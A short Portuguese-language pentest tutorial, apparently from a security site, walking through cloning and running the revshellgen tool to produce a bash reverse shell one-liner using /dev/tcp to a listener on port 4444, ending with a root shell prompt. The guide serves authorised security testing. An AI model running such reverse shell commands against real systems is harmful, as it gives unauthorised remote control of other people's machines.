revshellgen desenvolvido em python e tem como objetivo facilitar a geração de shell a fim de auxiliar no processo de avaliação de segurança e/ou pentest.

01 - Passo

Realize o clone do projeto revshellgen e liste o conteúdo do diretório.

Linux
git clone https://github.com/t0thkr1s/revshellgen

cd revshellgen/

ls -l

02 - Passo

Execute o script revshellgen.py:

Linux
./revshellgen.py

03 - Passo

Selecione o IP do seu Servidor atual ou especifique um outro IP, ex:

Linux
[ x ] 192.168.0.100 on eth0

04 - Passo

Informe uma Porta para estabelecer a conexão reversa, ex: 4444

Linux
[ # ] Enter port number : 4444

05 - Passo

Selecione o comando, ex: unix_bash

Linux
[ x ] unix_bash

06 - Passo

Você pode optar em encodar a URL ou Comando respondendo no ou yes

Linux
[ x ] no
[   ] yes

07 - Passo

Ao pressionar o Enter a URL ou Comando é gerado.

Responda yes para aguardar a conexão reversa.

Linux
---------- [ FINISHED COMMAND ] ----------				

bash -i >& /dev/tcp/192.168.0.100/4444 0>&1

---------- [ SETUP LISTERNER ] ----------				

[   ] no
[ x ] yes

08 - Passo

No servidor remoto execute o comando:

Linux
bash -i >& /dev/tcp/192.168.0.100/4444 0>&1

09 - Passo

Conexão estabelecida com sucesso!

Linux
root@www:/#

👍 Se este artigo te ajudou compartilhe!



  Autor

Marcos Henrique

 São Paulo/SP



  Ferramentas de Exploração

© 2024 - 100SECURITY

Contato